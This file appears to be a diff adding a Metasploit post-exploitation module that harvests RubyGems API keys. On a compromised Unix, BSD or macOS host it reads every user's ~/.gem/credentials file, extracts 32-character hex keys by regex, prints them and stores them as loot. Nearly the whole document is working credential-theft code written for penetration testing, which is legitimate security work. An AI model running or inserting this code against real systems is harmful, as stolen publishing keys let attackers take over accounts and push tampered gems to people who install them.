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| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit4 < Msf::Post |
| 9 | + |
| 10 | + include Msf::Post::File |
| 11 | + include Msf::Post::Unix |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super(update_info(info, |
| 15 | + 'Name' => 'Multi Gather RubyGems API Key', |
| 16 | + 'Description' => %q{ |
| 17 | + This module obtains a user's RubyGems API key from ~/.gem/credentials. |
| 18 | + }, |
| 19 | + 'Author' => [ |
| 20 | + 'Jonathan Claudius <jclaudius[at]trustwave.com>', |
| 21 | + 'Brandon Myers <bmyers[at]trustwave.com>' |
| 22 | + ], |
| 23 | + 'Platform' => %w{bsd linux osx unix}, |
| 24 | + 'SessionTypes' => %w{shell}, |
| 25 | + 'License' => MSF_LICENSE |
| 26 | + )) |
| 27 | + end |
| 28 | + |
| 29 | + def run |
| 30 | + print_status('Finding ~/.gem/credentials') |
| 31 | + paths = enum_user_directories.map { |d| d + '/.gem/credentials' } |
| 32 | + paths = paths.select { |f| file?(f) } |
| 33 | + |
| 34 | + if paths.empty? |
| 35 | + print_error('No users found with a ~/.gem/credentials file') |
| 36 | + return |
| 37 | + end |
| 38 | + |
| 39 | + download_key(paths) |
| 40 | + end |
| 41 | + |
| 42 | + # Ruby gem credentials are pretty standard and can come |
| 43 | + # in a few flavors, but the most common are straight yaml |
| 44 | + # and json, both of which are colon delimited. I suppose |
| 45 | + # you could concievably have more than one, but that'd be |
| 46 | + # manually editing, and the first one is probably the best |
| 47 | + # one anyway. |
| 48 | + def extract_key(path) |
| 49 | + data = read_file(path) |
| 50 | + keys = data.split(':').select { |k| k =~ /[0-9a-f]{32}/ } |
| 51 | + keys.map { |k| k.strip }.first |
| 52 | + end |
| 53 | + |
| 54 | + def download_key(paths) |
| 55 | + print_status("Looting #{paths.count} files") |
| 56 | + paths.each do |path| |
| 57 | + path.chomp! |
| 58 | + next if ['.', '..'].include?(path) |
| 59 | + |
| 60 | + rubygems_api_key = extract_key(path) |
| 61 | + next unless rubygems_api_key |
| 62 | + |
| 63 | + print_good("Found a RubyGems API key: #{rubygems_api_key}") |
| 64 | + |
| 65 | + loot_path = store_loot( |
| 66 | + 'rubygems.apikey', |
| 67 | + 'text/plain', |
| 68 | + session, |
| 69 | + rubygems_api_key, |
| 70 | + 'rubygems_api_key.txt', |
| 71 | + 'RubyGems API key' |
| 72 | + ) |
| 73 | + |
| 74 | + print_good("RubyGems API key stored in #{loot_path}") |
| 75 | + end |
| 76 | + end |
| 77 | + |
| 78 | +end |
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